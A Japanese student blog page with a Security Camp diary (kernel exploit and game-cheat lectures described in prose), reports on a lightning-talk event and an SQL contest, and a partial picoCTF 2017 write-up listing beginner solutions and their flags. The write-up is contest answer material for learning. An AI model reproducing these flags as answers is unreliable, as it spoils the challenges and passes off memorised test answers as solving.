ふるつき

記事と内容がないです

セキュリティキャンプ全国大会

セキュリティキャンプ全国大会に参加した

とりあえず↓に日記みたいなのを書いてあるので。

セキュリティキャンプ1日目

こんばんは、ふるつきです。記録を取る意味でも、今のうちに書き始めています。今回は、正直に自分の思ったことを描いていきたいとおもいます。

念願かなってセキュリティキャンプ全国大会に参加してます。知人率とかを考えると去年参加しておくのが大吉だったんですが、去年はチキン太郎になってしまったので、今年の参加になります。今年にしてよかったところは師匠が一緒に通ったところですね。実はクラスメイトからもう一人も応募していたのですが、彼は310分の82に漏れたのでいませんでした。

私は朝六時半に起きて、身支度を整えて家を出、12:15頃に会場につきました。遠い!!! おかげでけものフレンズをみてる暇なんてなかった。

そういうながい行程を経て、おしりや腰がいたくなりつつ、やっとこ会場に着いて名前をいうと、名札を渡されました。本人認証なかったの面白いな。それからお昼ごはんを食べました。いきなりお昼ごはんだったけど仲良く食べました。ホントだよ! 集合時間のことを考えても、会場でお昼ごはんを用意してくれたのはとてもありがたかったです。

ご飯を食べた後は、名刺交換会でした。多分ただの自由時間だったんだけど、みんな席をたって、気体分子のように動きまわっては挨拶をし、名刺を交換していました。

私は名刺交換にさしたる意義も感じられなかったので頑張って抵抗したのですが、その結果普通に名刺交換をしていました。途中で師匠の名刺がきれたので、一緒にノベルティに入っていたハンドスピナを回してモーメントモーメントジャイロジャイロと言っていたら、ハンドスピナのささくれが指に埋まりました。

それからやっと開会です。いろんな話を聞いてわくわくしつつ、「早く本題に入ってくれ!」と思っていました。いろんな説明を受けた後、「セキュリティ基礎」がありました。

セキュリティ基礎では、今後セキュリティ業界でどんな仕事がAIに取って代わられるだろうということをグループディスカッションしました。毎回セキュリティキャンプ系ではこういうディスカッションが最初にあるのですがこれはアイスブレイクとしてはなかなか有効だと思います。同じグループの人のキャラが探れるし、会話のハードルが下がるので。

私は理想論が好きなので、人間の営みはすべて機械で置換されて欲しいと思ってるし、そう遠くない未来であると信じてます。

その後、今度は特別講義として、2つの講義がありました。一つはJPCERTの人の話で、その人がどんな仕事をしているかという話なのですが、なんでこんなにおもしろい話ができるんだというほど面白く話をしてくれました。特に森見登美彦太陽の塔を引用したところは最高でした(これは本質じゃないけど)。

それからもうひとつは、サイバーディフェンスの型がフォレンジック系の話をしてくれたのですが、ヤマとオチがなくて眠くなりました。というか眠ってしまいました。チュータの人に起こされたような気も、そうでないような気もします。しかし、眠りを誘う話し方はともかく、内容はとても興味深いものでした。フォレンジックってお仕事ってイメージがあるけど、趣味でやりたかったらどういう道があるんだろ。

続いて、チュータの人の紹介を兼ねた発表がありました。これは三人だけだったのですが、どの人も尖り具合がすごくて、一口に言えばぶっ飛んでいました。あれに憧れてセキュリティキャンプに来たのだという気持ちになりました。

そこまでして、夕飯を食べ、それからグループワークでした。グループワークでは、数日かけて、8人程度で、何か問題を解決する姿勢を見せていこうというようなものです。いろんな人に話を聞き、どんなことを自分たちがすればいいのかを考えて、最終日に発表することになります。現状、これはとても面倒な講義に見えます。

それで22:00になりまして、解散しました。おい待て、手を動かしたいんだが。部屋は広くて快適です。師匠がやってきて、私がこうして記事を書くのを妨害してきたりしています。

Day2

おはようございます。大体六時半くらいに起きて、朝の支度をして、師匠と一緒に朝ごはんをたべようとしたのですが、師匠はまだ起きていないっぽくて、師匠の部屋もわからんで困りました。一か八かということで不確かな記憶を探って師匠の部屋と思われる番号にモーニングコールをしました。大当たり。間違えていたら舌を噛んで死ぬところでした。

朝ごはんを食べて、またけものフレンズを見逃しました。あしたは見る。朝ごはんの会場にはそこそこ人がいたのですが、そこかしこから変な話が聞こえてきて、なるほどセキュリティキャンプ、となりました。

Day3

おはようございます。眠った感覚すらないまま深く寝ててなんとか七時過ぎに起きて戦々恐々でした。師匠は起きてた。昨晩は師匠に邪魔されて(HUNGER GAMEの一ページ目をよまされてた・D2,3の資料を見てた)かけなかったので今から昨日のことを書いていくわけです。

Day2振り返り

Day2では、Dの解析トラック(カーネルのエクスプロイトまわり)の授業を受講しました。講師は、がちゃぴん先生とかるくす先生です。D1ががちゃぴん先生のカーネルエクスプロイト入門編で、D2,3がるくす先生による実践編のような位置づけでした。

D1では、まずカーネルソースの大雑把な構造から始まりました。大体この話だけで学校のオペレーティングシステムの授業を越えて行きました。

それから、カーネル周りの知識として、カーネルのダンプ(メモリ全部のダンプ)の解析(あるプロセスが脆弱性を突かれてメモリをアホほど食べているのでそれを突き止める。フォレンジックっぽい)をやったり(できなかった)、Dirty COWについて簡単な仕組みとPOCを渡されてこれをもうちょい実用的にしてくれといわれたりしました(できなかった)。あとあと、セキュリティキャンプの応募課題(るくす氏が出してた)のフォローアップがありました。私はこの課題は挑戦しかけて諦めたのでなにもわからなかった。

というわからないづくしの時間をすごしました。でも絶対無駄じゃないし、丁寧に資料が作られていたのでまた読み返してきっちり倒します。

この講義は、キャンプ最初の「洗礼」って感じでしたね。

お昼を挟んで、こんどはるくす先生のD2,3でした。これは究極的にはBadIRET(これは何に分類されるの? CVE?)で権限昇格をしようというものなのですが(さらに言えばWebKitの任意コード実行から権限昇格したい)、まず前座としてBadIRETの原理でカーネルを落とそうということをやりました。落とすだけならもうコードをるくす先生が書いていたのですが、これにちょっとだけ細工をして、レジスタをいじってから落とすとかしました。運が良いと結果が出るらしいですが、徳を積みすぎてほぼ毎回でました。

こんどはブラウザほうからアプローチして、(これも任意コード実行のところはるくす先生が書いてくれていたので、)試しに fd = open("/dev", 0); getdents(fd, buf, 4096); write(1, buf, 4096) するシェルコ―ドを書いて動かそうという演習がありました。これがいろいろはまりどころがあって、なかなか進まず、なんとかこれができたくらいで夕食になりました(ちなみに一番に出来た。私すごい)。

夕食は同じ講義の人とたべて、ちょっと仲良くなりました。

夕食後も同じことをやって、更に進んで、BadIRETでの権限昇格コードを書き始めようというところまで来ました。しかしこれがとてもむずかしく、原理が理解できず、コードもまたかけない。悩みに悩んでタイムアップでした。悔しい。○されました。

21時から22時までは、(権限昇格が難しすぎたので急遽)カーネル脆弱性の緩和策などのサーベイになりました。私はBadIRET頑張りたかったぞ。急にいわれて時間もそんなにないなかで、みんないろんなことを調べていて(しかもちょっと理解していたっぽい)、驚愕でした(私はなにもわからなかったということ)。

これでやっと講義がおわり、昨日が終わったというわけです。本当に疲れていて、疲れ of 疲れという感じでした。でも楽しかった気持ちに嘘はないし、手加減してくれなんて思ってないよ。

Day3

こんばんは、折り返し地点を過ぎました。今日もくたびれました。あと十数分で就寝推奨時間ですが、師匠とぐだぐだしているとこの日記を書くのにも一時間くらいかかるというわけです。

今日は2つの講義と、2つのBoF(??講義よりも講演に近いものだと思う)と企業講演とグループワークがありました。

午前の講義では、Dトラックの、「マルウェア x 機械学習」を受けました。機械学習系の講義を一個とっておこうかな〜くらいの気持ちでとって、事前課題がなかったので、機械学習の知識は(そしてマルウェアの知識も)一切なしで受けました。これって相当阿呆ですね。

講義としては、機械学習の簡単な説明(機械学習出ないものとの差異とか)から始まり、じゃあ機械学習マルウェア検知するならどうやってやる? みたいな話をグループでしました。ありきたりな選択肢しか出ませんでしたがまあそれは良いです。講師の人からは、バイナリのタイムスタンプがわりと効果的という話をききました。

ここまでやって、続いてデータセット(トレーニングようマルウェア・正常プログラム1000件ずつ、評価用マルウェア・正常プログラム500件ずつ)と、簡単なランダムフォレストの実装、バイナリファイルからの特徴量の抽出サンプル(ひどい特徴の選び方をしているやつ。出力フォーマットのサンプルというわけ)が渡されまして、これを改善していく(特徴の選び方を変えていく)という演習をやりました。

最初はAccurancy(確からしさ。式は割愛)が5割とか(五割くらい検知するし、五割くらい誤検知する感じ)だったわけですが、20分程度かな? の試行錯誤で、87%程度まで上がりました(7割くらい検知するし、1割くらい誤検知する感じだったと思う)。特徴としては{タイムスタンプ、バイナリサイズ、DLLのリンク量、DLLから読んでる関数の数、シンボル数}くらいを採用しました。9割行かなくて残念(これらの他に静的にぱっと取れる値を思いつかなかった)でしたが、同じ講義を受けていた人の中では一番いい値が出たようです。 私って優秀なのでは!?

そこまでで時間いっぱいでした。続いてお昼ですが、一人で黙々と食べました。おわり。

午後の講義は「信じて送り出した家庭用ルータがNetBSDにドハマリしてloginプロンプトを返してくるようになるわけがない」でした。この講義では結局VirtualBoxNetBSDを入れて、そこでラズベリーパイ用のNetBSDをビルドしました。そしてそれをラズパイに書き込んで起動ヤッターという感じです。それだけしかしていなくて、あとはこぼれ話がいろいろという感じだたのですが、私はラズベリーパイ用のイメージのクロスコンパイルで失敗しまくってうえええって言っていました。これの原因はメモリが足りないというものだったのですが、1Gじゃあ足りないんですね……。

はい、そのあと夕食ですが、割と席指定の夕食で、同じ講義を受けていた ukn さんと、昨日お世話になったるくす先生、コアキャンプに来ていた hama さんと食べました。私は静かに座っているかかりをしていました。まあみんな知っている人だったので自己紹介とかまあいらんでしょみたいな気持ちです。そういえば hama さんと以前会った時は阿呆ほど煽られたんですが今日は煽られなかったので綺麗に忘れられているっぽいですね。

夕食後はBoFと企業講演でした。BoFはあんまり書くことないと思うんですが、二個目の講義がものすごくためになるというか、セキュリティとはみたいな本質情報を突いてくれるもので、今年のキャンプで一番忘れられない話になりそうでした。ひとつだけ言っておくと私はCIAと喧嘩なんてしません。○されちゃう。企業講演もあんまり書くことない気がします。へ〜という感じだったし各企業もうちょっと短く発表して多くの人にリーチしたほうがみんな幸せ度が高いのでは? と思いました。

その後はグループワークでした。こういうことを言うと軽蔑されるし嫌なんですが、グループワークのメンバが結構苦手のようです。考え方が合わないというか、地雷感がありつらい。

Day4

全講義が終わってしまい哀愁を感じてます。こんばんは。今日はゲームセキュリティに関する講義を受けてきました。午前がスマートフォンのゲームセキュリティで、午後がゲームのセキュリティでした。

午前では、はじめはブラウザ上のスマホゲーっぽいのをチートしてたのですが実は解けなかった(あると思ってたサーバ側の処理がなかったらしくてめっちゃ簡単だった。試してみればよかった……)。 続いてはAndroidエミュレータ立ち上げて、講師の人が2週間くらいで作ったと言ってたゲームのチートをやりました(ゲームとしての完成度が高くてすごかった)。メモリ書き換えとかファイル書き換えとか通信書き換えをやっていろいろチートしました。ファイル書き換えはやったことなかったので憶えました。あと、通信がxor -> base64 で難読化されてたんですが、 xor に気がつけずちょっと悔しかったです。

この講義ではどうやってチートするのかということと合わせて、開発者側の視点での話も聞けたので大変良かったです。

午後はまた別のゲームチートで、講師の人が見るからにやばそう(というか愛甲さんという方なのですが)で実際にやばく、開幕即演習というか演習しかなく、ひたすら手を動かしていました。UnityゲームのC#なdllをいじるのは一瞬だったんですが、apkの.soを解析して……となるとなかなか厳しく、有意義でつらい時間を過ごしました。

企業講演でサイボウズさんのお話を聞き(普通のいけてる会社という感想でした)、そしてグループワークでした。

グループワークのやばいところは個人的にリーダへのヘイトが溜まっていくところです。ずっと相容れなさを感じてる。

そして!! その後!! キャンプ恒例のプレゼントがありました。翌日時間がなさそうだったからこの日にあったんですかね。

Day5

講義が終わったという安堵と、前日の晩に資料作成のうち私のやるべきところは終わっていた(たたき台ばかりつくってた)のでほとんど死んでました。

師匠がそこそこ早起きしてて6:40くらいにモーニングコールが来ました。うつらうつらという感じだったので仕方なく起きて、朝ごはんを食べました。そのあと師匠が部屋に来てけものフレンズをまるまる一話みながら、師匠の午後の発表資料を見たりしていました。

そしたらちょっとおそくなっちゃってぎりぎりに部屋を出る羽目になりました。ここでついに**さんという方にお会いしました(後述よてい)。 で、ぎりぎりに部屋に入ったわけですがやっぱりというか最終日ということで人がちょっとすくない。あとみんな青いセキュリティキャンプTシャツを着てました。うちのグループでも2人くらいいませんでした。

まあ呼び出しをかけつつ進行して、ちょっと1時間くらいの調整作業の末(この間私はほとんどなにもしてない)、グループワーク資料が完成、発表と相成りました。

グループワーク発表は面白いところとか上手なところとかそうでないところとかありましたが、去年の程の面白さが合ったのかどうかは微妙じゃないかなと思っています。うちのチームもそれなりの(無難な感じで、ちょっと穴がありそうな)発表をしました。

それでお昼を食べ、午後は成果発表でした。まずは集中コースで師匠の発表とか、その他の頭のネジが飛んでそうな発表を聞いて「やっぱり集中は強い……」って思うなどしてました。選択も一応成果報告あって、書くトラックごとにプロデューサという人がいてその人が指名した人がちょっとだけしゃべるんですが、私D2、3、4あたりでそれなりに成果を出してた気がするしDトラックの成果報告することになるかなとか驕ってたんですが全然そんなことはなかった。笑ってくれ

名残惜しいですがこれでだいたい全過程が終了となりまして、あとは挨拶などを聞き、写真撮影などし、解散でした。

終わった後ご飯でもという感じだったのですが、きっと都心方面だろうとたかをくくって先に歩を進めていたら逆で、結局参加できずまっすぐホテルに来ました。とはいえ縁があればまた合うこともあるでしょう。

こぼればなし

キャンプでは毎日、健康調査票というのを提出していて、これは各食事ちゃんと摂ったかとか寝れてるかとかを丸とか三角とかで書くわけですが、そこに記述欄がありました。それで

というわけです。上述した**さんがこのお返事を書いてくれたひとで、かなり嬉しかったので、**さんには悪いなと思いつつ、ちょっとどんな内容だったかを書いていきます。

Day 2

ふるつき「体がひえる」

**さん「上着で***てください。必要であればブランケットの貸出もあるので言ってください(空調の調節等何かあればスタッフに言ってください」


Day 3

ふるつき「疲れてる」

**さん「お疲れ様です。なかなか難しいと思いますが休めるときは早めに休んでください。何かあれば連絡を……」


Day 4

ふるつき「いきてます」

**さん「良かったです!!!! コメントありがとう。体調について分かりやすかったです。今日までお疲れ様でした、ラスト一日も頑張って、そして***ください」

記述欄は書いていきましょうという話。

こぼればなし2

旅の思い出として。

帰りの電車の中で、「私はどこに宿をとってるんだっけ?」とスマホを見たら、チェックイン予定が土曜日から二泊になってて、やべーとおもって慌てて電話しました。ちょっと値段は上がりますが、宿泊予定をずらせるということだったので、そうしてもらうことに。これで一見落着、かと思ったのですが、これだと金曜日から二泊で、日曜日の宿がなくなってしまうわけです。もうチェックイン済みだったのでフロントに言ってお願いして、三泊にしてもらいました。良かった。

おまけ

セキュリティキャンプ期間の私のツイート量とインプレッションです。下がツイート量で、一番多い日が130位だと思う

f:id:Furutsuki:20170819004656p:plain

おまけ2

セキュリティキャンプ事後課題として、アンケートがあったのですが、それに、2000字以上の感想を書く欄が合ったので、それを原文ママではっつけます。むりくり2000字書かせるのはどうなんとか思ってないです。


セキュリティキャンプで過ごした五日間は、端的に言って、ものすごく楽しい時間でした。多分、今までの人生の中で最も充実していたのではないかと思います。これはひとえに講師やチュータ、事務局やスポンサーの皆様のおかげと認識しています。とても楽しい時間をありがとうございました。

一番最初の、DAY2の一時間目の講義(D1)を受けた時、とても衝撃的でした。こんなに密度の高い内容を何時間もやるのかと驚愕しました。そして膨大な情報量に圧倒されました。こんなものをセキュリティキャンプの短い時間の中で理解するのは到底無理だと感じましたし、セキュリティキャンプはただの入り口、きっかけでしかなくて、この日この時間に得た刺激を忘れずに日々研鑽しなければとても講師の方々のような、格好良い、憧れられる、最先端を走る技術者にはなれないのだとわかりました。

D1も含めて、その後のどの講義も、私に吸収できる量を遥かに上回る情報を注ぎ込んでくれました。それは自分の未熟さ、講師との技術力の圧倒的な開きを私に知らしめるものでした。自分が未熟であることを思い知らされるのがこんなにつらい、悔しいことであるとは思っていませんでした。どの講義を受けているときもぺしゃんこに押しつぶされるのを感じながら、必死で頭と手を動かしていました。

そうした時間はしんどいものでしたが、とても楽しくもありました。こういうことを自分はやりたかったのだと強く思いました。情報の世界について知りたくて高専に入学して、しかし遅々として進まない授業に不満を抱えていましたが、かと言って自分でうまく学ぶことができませんでした。それは自分が学んでいることの先の先にどんな世界が待っているのかを知らなかったからで、また目指す方向がなくて自分がどう学べば良いのかを知らなかったからです。

セキュリティキャンプで知った先の世界は、とても私をわくわくさせていて、早くそこまで手が届くようになりたい、強くなりたいという思いで一杯です。また、私のまわりの人も早く私と同じ感情を持ってほしい、一緒に技術を磨いていきたいと思いました。

そういう意味では、セキュリティキャンプでは、どの人もそういう意識を持っているし、いくらでもそういう話ができたのでとても心地よかったです。宇宙兄弟という漫画ではないですが、自分が喋っていることが相手に伝わって、相手が言っていることがわかって、共通のものに対してすごいと言えるのがとても幸せでした。

しかし、私の振る舞いを振り返ると、セキュリティキャンプという環境を活かしきれておらず、これに関してはもったいないと感じています。特に食事の時間ですが、一人で黙々と食べてしまうことが多く、もっと他の参加者と交流出来たらよかったと思っています。

思いついたことを全て書いても2000字には満たなかったので、記憶に残った講義について述べます。

まず、D1、D2、D3が強烈に印象に残っています。カーネルエクスプロイトは一番の華だと思ってこれらの講義をとったのですが、先にも述べたとおり、思いっきり鼻っ柱を叩き潰されて、セキュティキャンプを感じさせられた講義でした。そして、D2,D3は脅かされていたほどでは……と講義の前半は感じていたのに、いざBadIRETに挑戦してみると知らないことだらけで確かにこれは大変な講義で、これについていけるようならしっかり強くなれるだろうという気がしました。早いうちに講義の内容だけでもしっかり定着させたいです。

同じDの講義になりますが、最後のD7の愛甲さんの講義も印象的でした。いきなり手を動かしていくというスタイルに驚かされ、バイナリをガンガン読んでいく実践的なチート手法を体験して、本気で解析されたらゲームを作る側はたまったものではないと感じました。そして、愛甲さんのカリスマに惹かれました。愛甲さんは一種のとても格好良い大人だと思います。

それから、BoFの芦野さんのお話がものすごくガツンと来ました。サイバーコロッセオで出題された、巨大なパケットの問題がずっと引っかかっていて実際にはどうなっているのか? というのが気になって参加したBoFですが、迂闊にCIAなどと答えてしまい散々ネタにされたからではなく、サイバーセキュリティというのはこういうことなんだなあというのを認識したからです。面白い、尖った技術が好き、楽しいからやっているというのは、それはそれで認められると思いますが、サイバーセキュリティという分野にいる以上、そこには悪意が存在していて、どんな相手がいるかわからないという恐ろしさがあることをわすれてはいけないのだと思いました。

改めてになりますが、セキュリティキャンプに参加できてよかったと思っています。このような貴重な体験をさせていただいたことを無駄にしないように、いつか恩返しができるようにやっていきたいと思います。


あーはずかし。これにてセキュリティキャンプの記事終わりです。記事の内容に関してなにかあればご連絡など

kosen14s LT public を開いた/参加した

kosen14s というのは私が参加している団体で、2014年度入学の高専生・非高専生の集合ですが、これでLT大会をやろうという話になりました。昨年は立ち上げの勢いでなにかやろうという機運からオンラインのLTをやりましたが、今年は ちげ くんの発言から、 kosen14s でないひととの交流を兼ねてのオフラインLT大会になりました。私はその kosen14s LT public の運営っぽいことや参加者っぽいことをやっていたのでその話について書きます。

 ブログを書くまでが kosen14s LT public だなんて誰も言ってなかった。

準備

LTオフラインでやる? どこでやる? 弊学かー。みたいな話をしたり、どこかと合同でやる? やるやる。工学院高校なー。という話をしたりしていたのが 4月の頭で、新学期が始まって早速、私がよくお世話になっている先生に場所の相談をしました。条件(電源あり、プロジェクタありなど)を伝えたら「弊学科棟なら申請が楽で使えるよ」ということだったので、「ゴールデンウィークにおねがいできますか!!!」と言いました。かなり迷惑な学生をしています。

あとは人を招いたりしていましたが、こちらはちげくんとかやましーがいろいろやっていました。つまり、京都工学院高校のひとを招いたり、明石高専のつよいひとを招いたりしていました。準備といっても大層なものはなく、slackを開いてわいわいしたとか、まあその程度です。

開催

当日は9時頃から会場の設営をしました。とはいえ弊学科の某室は電源や空調、プロジェクタなど完備なので対してやることもなく、ちげくんが忙しくしていました。

LT大会

大体の参加者 20名程度があつまり、kosen14s LT public が盛大に開催されました。

司会もちげくんがやっていました。あれ、ちげくん以外が動いてないな?

ともかく、午前中は私のぐだぐだな発表とかいらいざの楽しい発表があり、そのままお昼でした。お昼のあとは ちげくん主導で 弊学をめぐるツアーなどしていたようです。

それから午後はいろいろ楽しい発表がありました。 kyumina の発表はすごい面白いし師匠の発表はとても楽しい。やましーの発表はつよみがありました。ちげくんの発表はすごい。あれどうやって作ってるんだろ。なぜかロボコン勢の少ない kosen14s のロボコン担当、しるびあも skype で遠隔発表とかしてました。

kosen14s 以外の面々もLTをしたりしてました。 しんぷっとというひとが乱数の話をしてくれて楽しかったし。ちげくんが火気厳禁してた、モノコトイノベーションの話も聞けてわくわくでした。工学院高校の紹介もあって、あれは良かったですね。工学院高校、いいところやんけ、と羨ましくなったりしました。

懇親会

LT大会が割りと押したので、懇親会(おやつをもちよって食べる会)は 30分程度でいそがしくおやつを食べる時間でしたが、それなりに交流できたと思います。

反省

↑で書いてこなかったことを急に不満げに言うのは私の悪い癖です

  • タイムテーブルをちゃんと決めなかったのはやっぱり失敗かなと思います。ついでに、発表の数も把握できてなかった。ゆるいのを目指してはいたと思うけど、なにをゆるくするかは考えていかないと運営が厳しそう。(厳しかった)
  • kosen14s 以外の参加者からの発表があまりなかったのはかなしい。ゆるい感じだとわかったと思うし次からはゆるく発表してくれるとうれしいなぁ。

だいたいこんな感じです。ブログ書いてると途中で面倒になるんだよなぁ

Joken SQL Challenge #1 を開催しました。

 過去、 Joken Marathon Challenge を開催して大失敗したことがありましたが、めげずに、今度は Joken SQL Challenge を開催しました。そのことについて、多少ぽえみーに書いていきたいと思います。

Joken SQL Challenge とはなにか

Joken とは私が所属している情報処理研究会の通称であり、 SQL Challenge はその名の示す通り、SQLに関するコンテストです。今回は、 PostgreSQL 上での SELECT 文の技術を競うコンテストにしました。様々なデータをSELECT文一つで取得するというわけです。

 問題はたとえば、こんな感じで出題されます。これは実際に出題された問題のひとつで、難易度でいえば難問の部類に入ります。

f:id:Furutsuki:20170429133027p:plain

これにたいして、ユーザは次のようなクエリを実行することでこの問題の指示を満たし、問題を解こうとします(図は不正解になるけど)。

f:id:Furutsuki:20170429133258p:plain

 このように、全部で16問が配点とともに用意されており、もっとも点数を稼いだユーザが優勝になります。いわゆる jeopardy というわけです。競技時間はおよそ1時間45分となりました

競技の結果

 はじめに 30 分ほど SQL とは、データベースとは、SQLの文法についてなどを喋ったあとに競技をやってもらいました。

すると、こんな結果になりました。 theoldmoon0602 は私のダミーアカウントなので、全部で 7名の参加ですね。

f:id:Furutsuki:20170429133723p:plain

1位のthrustをはじめ、 Kaburagi、 chige12が4年生、 rinpach は 2年生か3年生、 lafr4nc3 などは 1年生なので、4年生は面目を保ち、一年生は可能性を見せつけたことになります。

 1位が 1000 点を取れたら上々かな、と思っていたのですが、最初に 1000 点を突破したのは lafr4nc3 だったことなど、思いのほか優秀な成績を残してもらい、また楽しんでもらえていたようなのでこちらは成功といえる結果だったと思っています。

 一方で、実際にやってもらうと、作問ミスがあったり、UIのわかりづらさがあったりと運営側の甘さもわかりました。特に tablename.columname という記法を断りなしに導入してしまって混乱を生むことになったのはなかなかに失敗でした。

まあでも楽しんでもらえたし実質成功ですね。

なぜこんなことをやろうと思ったか

 ぽえみーなぶぶんです。

 そもそも私はこういうイベントごとは好きらしいのですが、SQL Challenge のもとになったのは mixi git challenge でした。昔参加させてもらって大変たのしい時間を過ごし「よし、帰ったら joken でもやろう」と思っていたものの結局実現できずにいたところへ、 pixiv spring boot camp でちょろっと聞いた SQL の改善の話があわさってこういうものができました。

 もともとはクエリの改善、高速化をやろうと思っていたのですが、私ごときにはデータベースがつまるほどのデータを用意することができなかったので、いろんなSELECTを書いてもらうコンテストになりました。

 なんだかんだで、いろんなインプットがちゃんとアウトプットに繋がったので個人的にはかなり満足してます。

開催してみてどうだったか

 楽しかったです。企画しだしたのは 4/8 頃のようで、師匠に「こんなのやりたいけどどうだろう?」とお尋ねしていました。今回は師匠は不参加で、オブザーバのような役割を果たしてもらったのですがこれも正解だったと思います。師匠が参加していたら最後の問題以外は瞬殺だったかな。

 それから、自分の技術力もそれなりではというふうに思うことができました。はじめは シャーロック・ホームズの小説などを適当に分割してデータとしていたところを、 pawoo.net から引っ張ってきたデータに切り替えようという決断は自分ならそれができるだろうという目算があってのことでしたし、実際にデータ収集用のクライアントを書き上げてしっかりと準備することができました(勝手にデータを使ってごめんなさい)。

 一方で、作問は苦しいものでした。何度も問題を作り直しています。私もSQL力があるわけではないので調べながらだったりするのですが、ちょうどよい難易度の問題を作るのは難しく、極端に簡単な問題、極端に難しい問題が生産されていきました。そしてコストがかかる。一問作るのに 30分なら良い方で、結局どのくらいの時間を奪われたのかわかっていません。こういうイベントを開催してお金を稼げたら時間が奪われているという感覚ではなくなるのかなぁ。


最後ですが、 JSQL のソースコードPHPですけど、これは github で公開しています。使用したデータは pawoo.net のものなので公開できないので遊んでもらうことができませんが、ご寛恕ください。 github.com

picoctf 2017 writeup

一週間か二週間くらいの期間で、 picoctf という ctf がありました。私は zeropts というチームで参加して 2305 / 6575 pts で 397 位でした。スコアボードが見やすくなくて、なんチームくらい参加してたのかわからないですが。

 最初はひとりで参加してましたが、途中で tsun くんと一緒になってやりました。 pwn 系は全部放り投げました。私が解いた問題について write up 書きます。

Level 1

Internet Kitties [Misc 10]

↓でふらぐがもらえる問題です。

[root ~] # nc shell2017.picoctf.com 24369
Yay! You made it!
Take a flag!
8eb2c54a37f4f6b7233b00c4800d0075

What Is Web [Web 20]

適当な HTML ページに飛ばされて、ソースコードをみると

<!-- Cool! Look at me! This is an HTML file. It describes what each page contains in a format your browser can understand. -->
<!-- The first part of the flag (there are 3 parts) is 8d96c7d8966 -->
<!-- What other types of files are there in a webpage? -->

とありました。 css と js へのリンクがあったのでそっちも覗くと

/*
This is the css file. It contains information on how to graphically display
the page. It is in a seperate file so that multiple pages can all use the same 
one. This allows them all to be updated by changing just this one.
The second part of the flag is 8106eabacc0 
*/
/* This is a javascript file. It contains code that runs locally in your
 * browser, although it has spread to a large number of other uses.
 *
 * The final part of the flag is 3b680682297
 */

がありフラグとなりました。

looooong [Misc 20]

nc すると

[root ~] # nc shell2017.picoctf.com 51091
To prove your skills, you must pass this test.
Please give me the 'E' character '728' times, followed by a single '2'.
To make things interesting, you have 30 seconds

という表示になりました。30秒もまってくれるらしいので、悠々と python を立ち上げてお望みの入力を生成して貼り付けました。

You got it! You're super quick!
Flag: with_some_recognition_and_training_delusions_become_glimpses_cf0c40cbcc7efbd5121222729fff9263

WorldChat [Misc 30]

nc するとあほほどテキストが流れてきました。チャットサービスのまねをしているらしいです。 flag という文字が見えたので C-c すると、 flagperson という人物が flag の一部を喋ってくれていたので、 grep して適当なタイミングで C-c しました。

>|[root ~] # nc shell2017.picoctf.com 5026 | grep "flagperson"|
17:03:09 flagperson: this is part 1/8 of the flag - 2e5c
17:03:10 flagperson: this is part 2/8 of the flag - 3014
17:03:13 flagperson: this is part 3/8 of the flag - a9c5
17:03:19 flagperson: this is part 4/8 of the flag - ff31
17:03:23 flagperson: this is part 5/8 of the flag - 5a5c
17:03:24 flagperson: this is part 6/8 of the flag - b6db
17:03:26 flagperson: this is part 7/8 of the flag - 97bc
17:03:26 flagperson: this is part 8/8 of the flag - addf
17:03:26 flagperson: this is part 1/8 of the flag - 2e5c
17:03:31 flagperson: this is part 2/8 of the flag - 3014
^C
|

2e5c3014a9c5ff315a5cb6db97bcaddf2e5c3014

Digital Camouflage [Forensic 50]

pcap が与えられました。どんな データだたか忘れてしまいましたが、いくつかの http 通信があったとおもいます。そのなかで なにかしらの認証に成功しているストリームを見つけ出してきて、パスワードの base64 を decode してやるとそれがフラグでした。

R6AKNhWwo7

Special Agent User [Forensic 50]

同様に pcap が与えられました。いくつかの http 通信があり、問題文では「ブラウザの種類が大事やねん。それがフラグや」というかんじのことを言っていたので、とりあえずユーザエージェントとして投げられているブラウザ名を片端から submit しました。 Chrome 34.0.1847.137 でした。

Substitute [Crypto 40]

MIT YSAU OL OYGFSBDGRTKFEKBHMGCALSOQTMIOL. UTFTKAMTR ZB DAKQGX EIAOF GY MIT COQOHTROA HAUT GF EASXOF AFR IGZZTL. ZT CTKT SGFU, MIT YSACL GF A 2005 HKTLTF...

のような長い文字列が与えられました。 http://quipqiup.com/ におまかせしました。

THE FLAG IS IFONLYMODERNCRYPTOWASLIKETHIS. GENERATED BY MARKO? CHAIN OF THE WIKIPEDIA PAGE ON CAL?IN AND HOBBES. BE WERE LONG, THE FLAWS ON A 2005 PRESENT TIMES THAN ...

Hash101 [Crypto 50]

nc すると 「101000100 になる ASCII 文字列は?」とか、 mod 16 をとって 2になる文字列は?  とかあわせて 4問くらい聞かれたので python で愚直に変換してやった結果を投げたら

Correct! Completed level 4
You completed all 4 levels! Here is your prize: c3ee093f26ba147ccc451fd13c91ffce

keyz [Crypto 20]

なんか 問題ページに terminal ぽいのがあったんですが不調だったので飛ばしてたらこれとかないと先に進めなくなったのでリロードチャレンジをして使えるようになったタイミングで webshellにログインしました。 ssh キーを登録しなさいとのことだったので 適当に生成した公開鍵を投げました。

Leaf of the Tree [Misc 20]

ここからは ssh 接続しての問題でした。

/problems/a45d1519bd193bc3a273744c83fad1e2 以下に何かファイルがあるよと言われたので、 ls -R しました。するといろいろ長い名前のディレクトリとかファイルが出てきましたが、そのなかに flag という名前のファイルがあったので cat しました。

theoldmoon0602@shell-web:/problems/a45d1519bd193bc3a273744c83fad1e2$ cat ./trunk/trunk9ef5/trunkded5/trunk3f6a/trunk6034/trunk41fe/trunkb847/trunk7d34/flag 
1510e551a2821bd027da10a7653814c8

Leaf of the Forest [Misc 30]

さっきとおんなじ系統の問題だけどさらにファイルが多いぞって言われたので、 find . -name "flag" しました。

6c0d4a69fdff4ea12609fd1989749dd5

Hex2Raw [Rev 20]

hex2raw すると Give me this in raw form (0x41 -> 'A'): 1a558acddabd64bbccdd94903eafdf18 とのことなので、 python で変換して printf '\x1aU\x8a\xcd\xda\xbdd\xbb\xcc\xdd\x94\x90>\xaf\xdf\x18' | ./hex2raw としました。

You gave me:
1a558acddabd64bbccdd94903eafdf18
Yay! That's what I wanted! Here be the flag:
ceb80093717fd7e9aae149dacc7ac9b3

Raw2Hex [Rev 20]

フラグを吐いてくれるバイナリがあったんですがそれのhex表現がフラグだっていわれました。 hexdump に繋いでたんですが見辛いのでぐぐるxxd -p が使えることを知りました。

theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex 
The flag is:���7�JM�^��B�
theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex | xxd -p
